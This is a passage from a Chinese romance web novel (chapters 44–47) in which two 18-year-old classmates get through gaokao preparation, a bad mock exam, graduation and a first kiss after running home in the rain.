结束后，接引僧把他们带到佛像前，给了他们几块木牌，让他们写下自己的新年愿望，事后会帮他们放进佛殿内并供灯。 写完后，一大两小去殿外等候，叶婉自己在殿内和主持聊天。 没说两句，刚才负责收木牌的僧人拿着木牌过来，说他们都忘了写落款，让叶婉帮忙补上。 第一块要补落款的木牌是叶婉自己的。她今年的愿望一如既往：世界和平，全家健康，我发大财。 第二块是沈舟山的字迹，上面写着：家人和顺美满，我与婉婉地久天长。 叶婉一顿，愧疚地在自己木牌上的“我”和“发”中间画了个V的添加号，在V上面写上“和我老公”。 完事后，她继续往下翻。 沈方月的字圆滚滚的，很好辨认，写着：爸爸妈妈我和裴祈身体健康。 能和裴祈一起去燕京。 叶婉笑了一下，心想真笨，直接写能考上燕科大不就好了。 再拿起一块，她看见了裴祈的木牌。 少年字迹利落郑重，一笔一划写道：沈方月愿望成真。 第44章 第 44 章 万一我没考上怎么办？ 向阳寺坐落在山里, 上完香，叶婉又去供了灯、供了塔，一家人回到家里时已经接近深夜三点。 沈方月在车上睡了一觉, 裴祈的外套都被她枕热了。到家下车后她才迷迷糊糊地想起自己的新年惯例, 抓着刚道了别准备回家的裴祈的外套说了一句新年快乐。 “新年快乐, 沈方月。”裴祈说。 裴祈离开后，沈方月回过头来, 脸上带着困恹恹的笑：“爸妈新年快乐，我上去睡觉啦。” “快去快去。”沈舟山心疼道，“明天爸给你们做好吃的。” 忙了一晚上，两个大人肚子饿得难受，沈舟山下了碗面条, 夫妻两坐在客厅分着吃。 电视上随便放着一部很老的武侠电视剧, 里面的男女主正在瀑布山洞里互诉衷肠。 这已经是沈舟山第七遍重温这部剧，他摇头感慨：“真是天生一对，要不是她父亲顽固执拗，他们其实能有一个很好的结局。” “是是是。”叶婉咽下面，思绪还停留在裴祈那块祈福木牌，还有回程时她透过后视镜看见的, 在后车依偎在一起的两个人。 市面上两款最热门的乙游都是叶婉开发的, 她在感情方面自然敏锐。 她吹着面条，很随意地开口：“老公，你说小月亮要是交了男朋友——” 沈舟山嗖地一下扭头看她, 脸上的笑容消失大半：“怎么会呢？！老婆, 大过年的别说这么吓人的事。” 叶婉笑，她用鲨鱼夹随意地夹着发尾，不论在公司还是在家里都是利落飒爽的模样：“迟早的事, 她都18岁了。” “18岁怎么了？18岁还是小孩儿呀。”沈舟山说，“怎么也要像我们一样，25岁再考虑吧。” “那假如，我是说假如，她真交了一个呢。” “那当然是分手，必须分手！”沈舟山瞪眼，“她现在可是高三，我看哪个不怕死的敢骗我的小月亮谈恋爱！大学也不行，大学也很重要！大学毕业后找工作的那两年也很重要！……我想了想，25岁就是最合适的！你说是吧，老婆？” “我——” 叶婉本想说她觉得无所谓，小月亮已经是有独立思想的成年人了，如果是一段健康的、积极向上的感情，在不影响学习状态的情况下她不会强烈反对。 但对上丈夫那强烈需要同盟的眼神，她点头：“觉得是。” 沈舟山满意点头，撑膝起身。 叶婉问：“干什么去？” “去给小祈家贴对联，前两天忙工作一直没顾上，趁现在有时间，我赶紧给他贴好，好让孩子喜喜庆庆过个年。”沈舟山推了推眼镜，撸起袖子，疑惑，“……你怎么这样看我？” 叶婉沉默半晌：“没。我只是觉得你乐于助人的模样，太伟大了。” && 高三下学年，对于所有高中生来说都是最难熬的时期。 日子过得漫长又迅速，大家总觉得自己有上不完的课、做不完的卷子、考不完的试，可抬头一看黑板顶端鲜红的高考倒计时，又会发觉原来只剩寥寥百来天。 沈方月把自己要考燕科大的志向告诉了身边相熟的同学。宋哲和钟震都表示敬佩并劝她别赌这么大；陈曼震惊了一下，然后给她加油鼓劲；顾湘则是点头，轻描淡写地说：“你完全可以啊。” 沈方月听完自己都愣了一下，指着自己：“我，完全可以吗？” “是的。”顾湘冷静道，“燕科大录取分数大概在620浮动，拿你上学期的期末来算，就差三十多分，你的数学和英语有很大提升空间，学得也很快，最后几个月你专攻这两科完全没问题。” 宋哲听见忍不住道：“哪有这么简单，你这是580提到620，跟480提到520可完全不一样啊。” 顾湘没搭理他，而是从自己的书包里拿出一份厚册子递给沈方月：“这是我的错题本，比不上裴祈的，但题目肯定比他多一点细一点，你看看用不用得上……” 话没说完就被沈方月抱住，她感动地在顾湘肩膀上大喊：“怎么会比不上裴祈！你的错题本一定比裴祈的好一千倍一万倍——” “别人的不是比我的好一千倍一万倍？” 当晚，裴祈手指按着自己的错题本，嗤笑地与她算账，“那还看我的干什么。” 裴祈虽然已经签了保送协议，但还在继续上学，只是作业什么的都不用做了，老师也懒得费力改他的。不过考试时卷子还是会给他发一份，主要是想用来当其他同学的参考卷，有时候他的解法也和古涵讲的不一样。 沈方月扯了一下，没扯出来，哎呀一声：“你这个人怎么这么小气！” 裴祈气笑，拉踩还怪他小气？他拿起自己的错题本，在沈方月震惊的眼神里囫囵地塞进抽屉里。 沈方月一怒：“我反悔了！我不去燕京了！谁爱去谁去——” “流程能不能别走这么快？”裴祈用笔很轻地敲了一下她脑门儿，懒声承认，“顾湘说得对，她的错题本题目比我多，这段时间先用她的。” …… 沈方月以前总嚎着学习好苦，等埋头冲刺她才发现，原来真正苦的时候，连嚎的时间都没有。 她课桌上堆起了比脑袋还高的参考书，上课困了就自己起来站到后面听课，在食堂吃午饭的时候也举着英语词典在背，然后被裴祈敲敲课本，让她别贪这点时间，好好吃饭。 虽然没有嚎，但还是苦的。好几次沈方月都冒出了，要不算了吧，我好像真的不行的念头，可刚沮丧地闭上眼，她就会想起前段时间在网上搜索的燕科大深秋时的银杏大道，想起燕京古老漂亮的城市建筑，想起刚才在公交车上，她和裴祈偷偷牵的手。 然后苦兮兮地睁眼继续干。 沈方月的埋头苦学让其他人都有些不习惯。以往每次课间，沈方月总是他们这一圈里声音最大的，女生声音清亮飘扬，会让人恍惚觉得，高中生活似乎也没有那么沉闷枯燥。现在的课间，她要么在补笔记，要么转过身问裴祈某一道题。 可当大家想感慨，‘啊，这就是冷清又无趣的高三啊’时，沈方月又会猛地坐直身，一张口，又欢快跳脱地大放厥词：“天啊！我居然做对了！我是天才吗？该被保送到燕大的人应该是我吧？！” 后面一如既往地跟上裴祈的冷笑。 熬过半个学期，他们迎来了全校二模。 几天后，分数发下来，沈方月这次发挥奇差，只考了581分，比她上次校内月考低了26分，甚至没她上学期的期末成绩高。 周围的人都安慰她，甚至古涵也在讲台上特意点了一句：“一次考试没发挥好很正常，这不是高考，你们还有很多次考试测验的机会。回去巩固好基础，争取下次不再失误。” 沈方月对所有来安慰她的人都笑眯眯地：“我没事啊。虽然比起上次考试退步了一点点，但比去年的我厉害多了好不好，而且一次考试失误而已，我才不会被打击到，别担心啦！” 对裴祈也是。放学回到家，裴祈刚洗完澡出来就收到了她的消息。 [小月亮：一则通知，美女今晚决定在家里背单词，不过去了，不要太想我噢（挥挥）] 裴祈盯着这几个欢脱的字眼看了半晌，囫囵擦干头发，捞起卷子就去了隔壁。 跟叶婉沈舟山打了招呼，裴祈径直上楼，敲响沈方月的房门。 沈方月：“谁呀？” “我。”裴祈说。 里面的人顿了一下，然后拖长声音道：“说了今天我要背单词——” 裴祈哦了一声：“开门。” “美少女的房间是不能随便进的。” 裴祈不搭理她的疯言疯语，低头沉默地又敲了两下门。 “……” 里面没了声音，裴祈站着没走，也没催，不知过了几分钟，咔哒一声，门开了。 沈方月开了门便匆匆地往回走，坐到书桌前，只留给他一个单薄瘦削的背影。 沈方月举着考纲词汇，头也不回地问：“干嘛？是我爸又做了什么甜汤让你过来吃吗……” “沈方月。” “啊。” “没关系。” “……” “考砸一次而已，没什么大不了。” “……” 裴祈嗓音淡淡：“我也考砸过，影响我保送了吗？” “……” 安慰的话沈方月听了一天。同学说，老师说，叶婉和沈舟山也说，沈方月都很坚强，都能忍得住。 怎么到了裴祈这里就不行？ 脑子里那根紧绷的弦骤然断裂，一次考砸，好像就彻底否定了她这段时间的刻苦用功。 委屈、无力和恐惧浪潮一样涌上鼻尖，沈方月抬头，两眼通红地看着站在自己身边的裴祈，哽咽地问：“……你怎么这也能装啊？” 裴祈低头看她，顺着她说：“我一直都很装，你又不是第一天知道。” 沈方月哭得更厉害了，毫不顾忌地皱起脸，漂亮的猫眼里全是眼泪，胡言乱语地攻击道：“真讨厌你这种人。” “那怎么办，都在一起了，忍着吧。”裴祈看着她的眼泪，“要不要讨厌的人借个地方给你哭？” 裴祈双手还没完全张开，沈方月已经用力地抱住了他的腰。 他们一人站，一人坐，沈方月的脸埋进他下半T恤，怕她爸妈听见，哭得闷声低气，裴祈很快感觉到一片酸涩的潮湿。 沈方月终于说出了她一整天的恐惧：“万一我没考上怎么办？” “万一我去不了燕京怎么办？”她肩膀颤抖，“我已经很努力了啊，可是分还是不够……” “那我就去找你。”裴祈说。 沈方月一怔，刚想说你不是已经保送了吗？那还怎么找我呢？就感觉到裴祈的手指很轻地陷进她的头发里，安抚地摩挲了两下。 “我看了，燕科大不行，我们就报江兴理工。它有几个专业不比燕科大差，江兴和燕京就三个小时的车，我每周都去找你。” “……” 裴祈没有说“你不会考不上”这种安慰性质的话，而是很直接地给出了planB，仿佛在告诉她，没关系，如果真的有万一也别怕，我们人生的容错率很高。 “我才不是因为你哭。” 沈方月安静好久，才闷声开口，已经没有哭得那么凶狠了，“我是想看燕科大的银杏大道，想吃燕京的酸汤鱼，要是没考上，我就看不见了，也吃不到了。” 裴祈说：“你只是没考上，又不是瞎了。酸汤鱼我带你去吃，燕科大有开放日，吃完了一起去看。” 沈方月一边感动，一边恶狠狠地隔着衣服，朝裴祈的腹部咬了一口。 没咬到什么。暂时没有课业压力后，裴祈打球的次数变多了，偶尔还会陪沈舟山在地下室打会儿乒乓。少年的腰现在平坦劲瘦，没有一点多余的肉，她甚至能模糊地感觉到一点凹凸分明的肌理。 见她没哭了，裴祈吐一口气，慢悠悠地认真道：“但我觉得你考得上，真的，这次二模是你吃了感冒药，没发挥好。前几次测验考不都上600了？610你也不是没摸到过。后面几十天数学努力再拉10分，英语拉10分，剩下几分其他科目摊一摊，燕科大你随便上，闭着眼上。” 裴祈说完，觉得沈方月会应他一句：我是牛吗？这么能拉？ 果然，话音刚落，沈方月从他衣服里抬头，泪眼汪汪地看他：“裴祈。” “嗯。” “我能不能摸一下你的腹肌？” “……” 第45章 第 45 章 我考完啦！！！！…… 自开学后, 两人除了牵手之外没再有过其他亲密接触。 虽然谁也没说，但他们好像达成了某种默契——一切会让沈方月分心的事统统不要做。 裴祈很无情地拒绝了沈方月的请求。 他这会儿已经不是寸头了，这年纪的男生像生机勃勃的春草, 两三个月不剪就又留成一片干净柔软的碎发。裴祈的发色一直比别人都要黑, 额前碎发下的眼睛更甚, 澄亮的眸子微微半垂，冷蔑地看着她：“不能。581分还想摸腹肌？” “……” 沈方月噎了一下, 提醒他：“你是来安慰我的，不要这样说话！” “你言辞粗鲁在先。”裴祈手掌还覆在她头发上，要笑不笑道，“沈方月，你这叫性骚扰。” “……哪有这么严重！”沈方月大惊, “这怎么算性骚扰, 我是你女朋友欸！女朋友摸男朋友腹肌天经地义——” 说罢，沈方月觉得自己的话有点道理，松开他的腰就要往他衣尾里探。现在已经不是好色的问题了，是单纯地要和裴祈作对。 裴祈握住她手腕，没让她得逞，随口道：“女朋友有什么法律效应？又不是老婆。” 说完两个人都一顿, 不约而同地错开眼。 半晌, 沈方月抱着他的腰，侧着脸碎碎念：“小气鬼是不会有老婆的，腹肌都不给摸……” 裴祈冷笑了一声, 表情却温柔, 他盯着沈方月小小圆圆的发旋，知道这是哄好了。 其实沈方月没有那么需要人哄，她平时总是一副很娇气的模样, 却很会消化负面情绪，来得快去得也快，除了在他或家人面前时偶尔发作以外，其余人几乎见不着她丧气的一面，她怕影响到别人。 这次考砸也是，她或许闷睡一晚或偷偷哭一场就过去了。但裴祈还是过来了，像以往每回感觉到她情绪不对时一样。 沈方月抽了下鼻子，突然又转回脑袋，把脸重新埋进裴祈的衣服里。 清浅的呼吸隔着单薄布料扑在裴祈的小腹上，他微微僵硬，拍拍她脑袋：“干什么。还没哭完？” “不给摸又怎样，我用脸感受。”沈方月闷闷地说。 “……” 裴祈看得想笑，被她的气息触碰得心脏发痒，刚想说差不多得了，哭完了就来刷卷子，还拉不拉分了？就听见外面传来闷重的脚步，紧跟是敲门声。 “小月亮，小祈，”门被推开，沈舟山端着个漂亮的果盘进来了，“来，吃点水果——” 裴祈只觉得怀里的人倏地抽离开，还翻脸不认人地把他往远处推了一把。 换个瘦点的来，能被沈方月推出十米远。 沈舟山看着相隔甚远的两人，茫然：“刚才什么动静？” “没什么——爸，你怎么可以突然进我的房间！”沈方月心跳飞快，“我现在已经是成年人了，你不可以这样的！” “我不是敲门了吗？”沈舟山非常无辜。 “可我还没有说请进。” “……” 以免沈方月心虚之下再说什么胡言乱语，裴祈接过果盘：“谢谢叔叔。” 把二模卷子重新过了一遍，裴祈回到家时已经是深夜。 他站在盥洗台前刷牙，闻到了自己指缝里清新的小苍兰香，是沈方月头发上的味道，过去两个多小时，还留在他手上。 刷牙的动作慢了一些，裴祈没什么表情地撩起自己的衣尾，眼神淡淡地通过镜子打量自己的小腹。 还好没让沈方月摸。这几天忙着陪她冲刺二模，都没怎么锻炼，比前段时间差点。 他放下衣服，低头吐沫，有一搭没一搭地想，最近得找高二的约球了，省得沈方月哪天又心血来潮…… && 裴祈显然是想多了。 痛快哭一场后，沈方月又回到了奋斗模式，甚至比之前还要努力，房间里的灯经常亮到凌晨三点。 这对裴祈来说是常态，他以前刷题冲竞赛的时候一天只睡三四个小时。但对沈方月来说不是，她可是连守岁都熬不到12点的瞌睡虫。 于是第二天早上，沈方月抓着扶杆，闭着眼随着拥挤的公交左左右右地乱晃，偶尔被颠簸吓得睁眼，又困恹恹地闭上。反复几次后，身边的人终于看不下去，伸手虚虚地圈着她的腰，让她靠自己身上睡。 沈方月吓了一跳，抬头用气音问：“不好吧，车上好多山中的——” 裴祈心想真怕就从我身上起来啊。他毫不在意地看向窗外，懒懒道：“无所谓了。” 高考迫在眉睫，已经没人有心情去管谁谁和谁谁在早恋。 三模接踵而至，沈方月这次考了历史新高，623分。 三模成绩出来那天学校正好组织拍毕业照。 又是一年盛夏，高三五班全体同学整齐划一地站在校道树荫下的，火热的阳光被叶子切碎，星星般散落在他们的蓝色校服上。 身边其他同学还热热闹闹地在调整队列，沈方月回头，激动地对身后的人说：“623分！我考了623分欸！我考上燕科大啦！！！” 裴祈耳朵都要起茧子了。他眼皮微垂，看着她眼睛里的太阳：“燕科大看高考分，不看模拟分。” “你这保送生懂什么？古老师说了，这次三模的难度最接近高考！” 裴祈冷淡嗤笑，头一回见到歧视保送生的。 摄影师在前面拿着喇叭喊倒计时，沈方月连忙放下脑袋站好，弯起眉眼高高兴兴地笑。 “3、2、1——” 一股淡淡的温热覆在沈方月头发上，咔嚓一声，照片定格。 最后这段时间，学校气氛更加紧张沉重。老师们几乎就驻扎在办公室里，古涵更是直接拉了张椅子坐到走廊，方便第一时间解决同学们的问题。 难熬的高三到了最后反而像坐上了火箭，忙忙碌碌中抬眼一看，黑板上的倒计时竟然只剩下一个鲜红的“1”。 这天没有老师上课，一排的自习，但每位科任老师都过来了。虽然之前大家都说好，今天不讲课，纯让学生们放松，但一走上讲台，还是忍不住又叮嘱了几个重要知识点，再踩着下课铃与大家道别。 一起相处了三年，哪怕同学们总是一起在背后嚼舌根，说这个老师爱拖堂、那个老师脾气差，到分别时就神奇地只记得他们的好了。有些人偷偷抹起了眼泪，某一位更甚。 “行了，别哭了，怎么跟泄洪似的？” 古涵是最后一个走进教室的，手里还抱着一沓高高的小册子。她看了眼后排窗边的人，平日总是严苛冷漠的脸居然也扯出了温柔的笑，“旁边哪个同学有纸？借给沈方月擦擦。” 宋哲：“老师，我们这一圈人的纸全被她用光了。” 班里哄堂大笑，古涵都不记得班级上一次这么热闹是什么时候了。 裴祈也笑，他拿起校服外套，随手扔到沈方月的膝盖上。 沈方月拿起他的外套，擦了擦自己的眼泪，哭得一抽一抽地：“古老师，虽然你平时总是，呜呜……呜呜，总是很凶，很严格，没有耐心，也没什么人情味，但是我还是很喜欢你的，呜呜呜……” 古涵：“你别光捂眼睛啊，把嘴巴也捂上吧。” 在欢声笑语中，古涵眨了几下眼睛，把酸意按捺回去。 她叫来各组组长，把那沓小册子发下去：“是这三年你们在班里的所有照片，我每个人都打印了一份。大家未来或许会遇到更多的朋友和热闹，但一起经历的这三年是珍贵的、其他人都无法替代的，你们是同学，也是战友，哪怕毕业之后没有联系了，你们之间的情谊也会永远存在。” 这下更多人要用纸了。 沈方月泪眼朦胧地翻开相册，看到了高一文艺晚会上的自己，看到了上课睡觉的自己，看到了运动会时狼狈的自己。 翻到最后一页，是他们的毕业照，高三五班全体同学挤挤攘攘地站在一起，每个人疲惫苍白的脸上都挂着大大的笑容。 只有倒数第一排的少年脸色清淡，他微微抬着下巴，唇角很轻微地上扬，一副意气风发的模样，手懒懒地搭在前面女孩儿的头发上。 古涵敲敲黑板：“别哭了，马上就高考了，别这会儿把眼睛哭肿了。” “别的老师可能都会让你们别紧张，放轻松。但我要告诉你们——统统把脑子里的弦给我绷紧了！反复练了八千遍的基础知识点不能在这个时候出错！18年磨一剑！拼尽全力才不会留下遗憾！” “高考不是终点，是人生的第二个起点！是大部分人改变命运的机会！是一场最最残酷的战争！你们呕心沥血地奋斗了这么久，一定要在考场上杀别人个片甲不留！” “最后，无论结果如何，问心无愧就好。” 三角板砸在讲台上，发出闷重一声响，古涵宣布：“下课。” && 6月7、8日，碧空如洗，高考如期举行。 两天的高考眨眼间就过去。很多考生从考场出来时还一脸恍惚，被浓重的不真实感包围。也有些考生出来后就开始对答案，脸上或狂喜或焦虑。 考场外站满了等待的家长。 沈舟山来回踱步，不知第几次抬头看表：“小月亮怎么还没出来。” “应该快了，”叶婉眺望着校门，“她的考场教室比较远。” “叔叔，喝水吗？”一旁的裴祈淡声问。 裴祈是保送生，不用高考，所以7号一早出现在他们家门口的时候，一身红彤彤的夫妇俩都愣了一下。 沈舟山看着同样穿了一身红色T恤的他：“你怎么过来了，你不是——” “当然是来陪我高考啦！”沈方月看了眼时间，抓起裴祈的衣袖急匆匆道，“快快快！出发了！去了考场我还有时间再复习一下课文！” 裴祈跟着他俩站在烈阳下，陪沈方月考了两天。 童年玩伴之间的友情可真是令人感动啊！沈舟山感慨地接过他手中的水：“谢谢啊——出来了！小月亮！！！” 一道身影飞快地在形形色色的考生中穿梭，好似一只挣脱牢笼、重获自由的小鸟。 沈方月冲下校门台阶，激动地拥抱了叶婉，又拥抱了沈舟山。 沈舟山感动地拍着她的后背：“太好了，我们这就算彻底解放了，小月亮，考完之后咱们就什么都不用想，爸爸带你去游乐园——” 话没说完，怀里一空，他的小月亮已经抱住了别人。 沈方月紧紧搂着裴祈的脖子，在他耳边大喊：“我考完啦！！！！” 裴祈揽着她：“嗯。” “我考得超级好，”她得意地说，笑得春风满面，声音却带着哭腔，“裴祈，我一定可以上燕科大。” 裴祈又嗯一声：“怎么又哭了？沈方月。” “你别管。”她恶狠狠地说，“你这个保送生懂什么啊！” “……” 沈舟山站在一旁，看着紧紧相拥的两个人，再次被他们的情谊打动。 一分钟过去，他微笑地想，小孩儿之间友情真的是太美好了。 两分钟过去，他感慨地想，果然还得是发小啊，他就没这么铁的朋友。 三分钟过去——喂！臭小子！抱太久了吧！！！ 第46章 第 46 章 毕业快乐。 又一年高考盛大落幕, 街边的交通管制牌子、警戒线与隔离带一件件撤离，整座城市又恢复往日宁静。 一周后，山城毕业典礼如期举行。说是毕业典礼, 不过是让高三生们回校收拾教室与宿舍, 顺便再去操场听领导们最后一次唠叨。 典礼下午三点开始, 毕业后的学生个个犹如翅膀硬了的小鸟，老师们维护好几次纪律仍旧吵吵嚷嚷, 到了最后也都不管了。 大家在领导的讲话BGM里交头接耳，三三两两站在一起聊天。 不知道是不是古涵高考前最后那两段话起了作用，考完按老师发在群里的正确答案估了分，全班竟然都正常甚至超常发挥，5班整条队伍脸上都喜气洋洋的, 声音也比其他班要大些。 顾湘估分有691, 沈方月听完激动地抱住她的胳膊：“那不就能上燕大了！小湘湘！我们大学又在一座城市！！！” “还不一定，不知道估得准不准，也不知道今年分数线会是多少。”顾湘说。 “一定一定！燕大在山城的录取分数线还从没超过690呢！” “什么意思啊月姐，刚才你听到我俩没准能一起上燕科大的时候都没这么开心。”后面听见她们对话的宋哲忍不住道。 “也开心。”沈方月很敷衍地点头。 “……” 宋哲抱臂叹气：“哎，话说，怎么感觉毕业后那种我是全世界主角的感觉一下就没有了？去年我在家里就是老大, 我说晚饭吃什么就吃什么, 昨儿我说我想喝土鸡汤，我妈让我自己泡浴缸里喝两口水。” “谁说不是，高三这一年我爸每天起得比鸡早, 就为了送我上学。刚才我让他送我来学校, 他让我自己滚去扫共享单车。”钟震挠挠头发，话题一转，“对了, 你们知道刚才在楼梯那发生了啥事不？” “啥事？”宋哲问。 “顾飞白和他女朋友一起下楼的时候遇上了年级主任。”钟震顿了顿，“然后他俩当着主任的面，亲了一口。” “……卧槽！！！！！” 隔壁班的男生加入进来：“这有什么，我们班黑板上那叫一个惨不忍睹，全是谁谁爱谁谁谁，谁和谁天长地久。” 裴祈有一句没一句地听着，低头在看刚收到的电子邮件。 一股熟悉的香气不动声色地靠过来，一抬头，沈方月整个人已经挨在他手臂上。 裴祈以为她热着了，想把棒球帽脱了给她，就被她拉住手指，然后一根一根摸索着扣入、握拢。 “妈的，这些人也太猖狂了！”高中三年没有一朵禁忌桃花宋哲大骂道。 “就是啊！”沈方月软绵绵地附和。 宋哲：“真想造个时光机让主任穿回两个月前，把他们统统抓起来处分！” 沈方月：“就是就是！” “也是年级主任不努力，这些小情侣之前一个个这么明显，他怎么就没看出来——不是……等等？哎？我，你……”宋哲视线慢慢下落，一字一句问，“你俩，手，怎么牵一起啊？” …… “同学们，希望你们无论身处何地，都能保持热情和——那是几班的队列？五班的！怎么这么吵？！” 被年级主任点名批评，宋哲和钟震的尖叫声终于小了一点，但还是忍不住，一张口嗓门还是大：“什么时候啊？为什么我完全没看出来——不是！不对！我特么认识你们的时候你们就很暧昧了，但你们都说没谈，敢情是在骗我？！” 沈方月立刻澄清：“那时候真的没有！” 钟震：“宋哲你先闭嘴，我来问，你俩谁告的白？” 这是什么问题？沈方月很不满意：“我这么漂亮！当然是他告的白啦！” “……” 两个人都持怀疑态度，想象不出裴祈告白的场面。 宋哲：“怎么说的？” “告白还能怎么说……”沈方月微微抬起下巴，装出裴祈平时的表情，模仿他的语气，深沉地说，“沈方月，我喜欢你，喜欢你漂亮明媚的眼睛，精致漂亮的鼻子，鲜嫩欲滴的嘴唇，你是世界上最漂亮的女孩……女人。我每次看见你，就克制不住地想——” 沈方月话还没说完，嘴巴就被裴祈给捂住了。 “沈方月，你都不会脸红的吗？”他气笑。 沈方月在他手掌里噗嗤噗嗤地笑，好想拿面镜子给他看看现在到底是谁在脸红。 …… 毕业典礼到最后，年级主任第八次强调：“最后，知道大家毕业了很高兴，但我还是再说一遍。请大家安静离校，不要撕书！不要撕书！不要撕书！！！” 哗—— 半小时后，各个教室里飘满纸屑，时不时还会传来几声鬼哭狼嚎。 年级主任没法每个都管，于是就挑了最闹腾的那个班级杀鸡儆猴。他一如往常，彭地一下踹开门，大骂。 “高三5班！整栋楼就你们最吵！别以为毕业了我就管不了你们！全部给我站好了！名字报上来！我让你们家长过来领你们！！！” 5班和其他班的教室一样，纸张遍地，黑板上密密麻麻布满了字。虽然没什么意义，但每个同学离开之前，都下意识地在黑板上留下自己的名字，似乎这样，自己就有一部分永远停留在青春里。 门被踹开的时候，沈方月正往黑板上写自己和裴祈的名字，并在中间画了一个小小的爱心。 班里的人顿时四处逃窜。裴祈从课桌上站起身，拉起沈方月的手腕：“还写？快跑。” “为什么？我们又没撕书。”沈方月无辜道。 “谁会承认自己撕了？现在谁被抓到谁倒霉。”裴祈淡淡道。 “哦哦哦！” 5班的学生们在年级主任的怒吼里作鸟兽散，跟主任绕圈圈的、翻窗的、跑后门的……最后全部冲到楼梯，慌忙地往下逃窜。 在教室里以为临近天黑，出来才发现原来是乌云密布。 天空一声闷雷，紧接着，大雨倾盆而下。 突如其来的暴雨把他们堵在楼梯口，一帮人进退两难。身后传来年级主任的笨拙沉重的脚步，钟震骂：“靠！凭什么就抓我们班啊！现在咋办啊？” 宋哲：“还能咋办！跑啊！” 以宋哲钟震为首，一帮学生浩浩荡荡地跑进雨里。裴祈看了看周围，想找个能躲人的地方，手被反握住，牵着往前。 “沈方月。”裴祈的声音难得着急。 “快跑！裴祈！”沈方月回头匆忙地朝他笑。 大雨滂沱。豆大的雨滴狠狠地砸在他们单薄的校服上，山城的夏雨是沉闷的，也是激昂的，天空像被这群终于解放的高三狗砸穿了一个洞，替他们宣泄着重获自由的激动和亢奋。 跑着跑着，钟震在雨中停下来。他朝天大喊：“山城一中！老子毕业了！！！” “脑残。”宋哲骂他，也停下来热泪盈眶地喊，“我也毕业了！！” 罗闻喊：“顾湘！我喜欢你！！！” “……” 大家都沉默，震撼地盯着他，只有顾湘没有。 雨水将她镜框打湿，她抬眼看着天，平时沉默少语，情绪稳定，从来没大声说过什么话的女孩儿，朝天喊：“我要上燕大！我还要赚很多、很多、很多的钱——” 罗闻：“……” “我要和裴祈去燕京啦！！！”沈方月喊完，又紧急补充，“噢噢——还有小湘湘！我们三个人要一起去燕京啦！！” 宋哲：“不是，我要说几遍，我特么要和你报一个学校！加上我啊！！” 沈方月不搭理他，她晃了晃裴祈的手臂，暗示他，到你了。 裴祈不知道这群人在发什么疯，也不知道他自己在发什么疯。 可能到了雨中，都是疯子。 他深吸一口气，回头看了一眼身后庄严宏伟的教学楼，喊道：“再见——山中。” && 浑身湿透，两个人在公交车上甚至没敢坐下。 下车时雨还在下，进小区只有一小段路，这时候再买一把伞又不至于。两个人躲在裴祈那件都能拧出水的校服外套下，狼狈地跑回家。 进屋，关门，水滴渗出衣尾，玄关地面洇湿一片。 跑得太急，两个人气都有些喘。裴祈把外套往木地板上随手一扔，懒懒地倚在墙上顺气：“沈方月，明天感冒了别找我哭。” “就找。我在你耳边哭。” “……” 裴祈气笑，随手抽了两张鞋柜上的纸，伸手去擦她脸上的雨水。 为了好好学习，沈方月没再管过她高二最钟爱的空气刘海，这会儿已经长成了两鬓，露出了她饱满光洁的额头。湿发扭七扭八地贴在她两颊，乱七八糟，傻鸟似的。 淋过雨的女孩儿脸蛋在冒光，眼睛更亮，在昏暗的玄关里安静炽热地看着他。 擦干她的嘴唇，裴祈漫不经心地开口：“你跑错门了吧，这是我家。” “哦，那我走好啦。”沈方月说。 两人说是这么说，一个没走，另一个像怕对方真走了，伸手牵了一下她手腕。 他们无言地对视几秒，眼底都滚烫。最后山茶花香混着潮湿，朝裴祈靠近。裴祈喉结闷滚，低头，方便让她接吻。 天色彻底变暗，房子没有开灯，漆黑一片，像是没人。 玄关充斥着细密灼湿的接吻声。裴祈后背靠着墙，沈方月于是整个人都干脆贴到他身上，踮起脚，一下一下地去吮吸他的嘴唇，唇齿间是潮湿的咸热，裴祈撬开她的唇缝，心想，早知道也擦一下自己了。 他们这几个月几乎每天都在一起，眼神碰上的时候不是没想接吻，又很快被理智按下去，沈方月在每次转开眼时都会想，等我考完，一定要把裴祈的嘴唇亲红！亲肿！亲破！ 真亲上了，发现，不对，怎么他更用力。 沈方月在那小鸡啄米似的亲了半天，舌头一碰上，就只剩下努力呼吸的份。她被亲得下巴都不受控制地往后仰，好几次刚觉得缺氧，裴祈就会短暂地放开她，一点点、慢吞吞地去含她的唇，松开，反复几次后，他问：“好了没？” 沈方月很重地呼吸几下，回答：“好了。” 裴祈低低地嗯一声，偏下头来，气息砸在她唇边：“张嘴。” “……”心脏发紧，后颈发麻，沈方月觉得自己要晕了。 不知道亲了多久才慢慢平息，沈方月腿都软了，必须得抱着裴祈才能防止自己往下滑。这种感觉陌生又可怕，她跟家人去跑马拉松时都没有这样无力过。 怕她摔，裴祈手臂很紧地环着她。两人身上的校服冰得发凉，肌肤却滚烫，心跳声通过碰触用力地传递给对方。沈方月安静地听着，还在平复呼吸。 她现在不怀疑裴祈看过很多偶像剧了。 她怀疑裴祈看过很多片。 沈方月是憋不住问题的，她在裴祈怀里抬头，鼻尖贴着他下巴，想问。 结果撞进裴祈澄黑的眼睛里，他先开了口：“要摸吗。” 沈方月啊了一声，被亲得意识还恍惚：“摸什么？” 黑暗里，裴祈喉结微滚，脸色冷淡，心脏咚咚地撞击胸腔：“腹肌。” 第47章 第 47 章 女朋友看男朋友天经地—…… 雨还在下, 隔着沉厚木门模模糊糊地砸在耳朵里。 沈方月猫眼湿淋淋地看他，一眨不眨，半声不吭。 什么意思呢, 又不想摸了？ 有水珠从碎发落下, 砸在裴祈后颈, 凉凉的，沈方月头发潮湿, 应该更冷。裴祈淡淡地眨了下眼，想，行吧，正常，沈方月想法一天一变。 刚想让她进屋, 拿浴巾擦一下头发, 衣尾被拉起来，更冰的东西贴到了他的皮肤。 裴祈吸一口气，不自觉地绷紧身体。 沈方月手指纤细，很软，整个手掌心都贴在了他的小腹上。 ——还用力地往里按了按。 “……” 裴祈睨她：“沈方月，泄私愤呢？” 沈方月回神, 松了劲儿, 换成手指去戳。少年身上的校服早湿透了，里面的皮肤却是热的，像在沸腾, 温暖滚烫。 “好硬。”沈方月烧着耳朵, 还不忘疑惑，“不都是软的吗？” “谁是软的。”裴祈哑声，“你摸过？” “我妈开视频会议的时候说的, 她做游戏人物建模，说肌肉看起来太硬了，应该是软的。” 裴祈眉眼松下来，懒洋洋地哦一声：“没运动的时候软点。” 他们从教学楼出来几乎就一直在跑。 沈方月似懂非懂地点头，手指慢吞吞地磨蹭，可能是她的错觉，也可能是记忆出现了偏差，裴祈的腹肌，好像比之前自己闯进他房间时不小心看见的更利落一点。 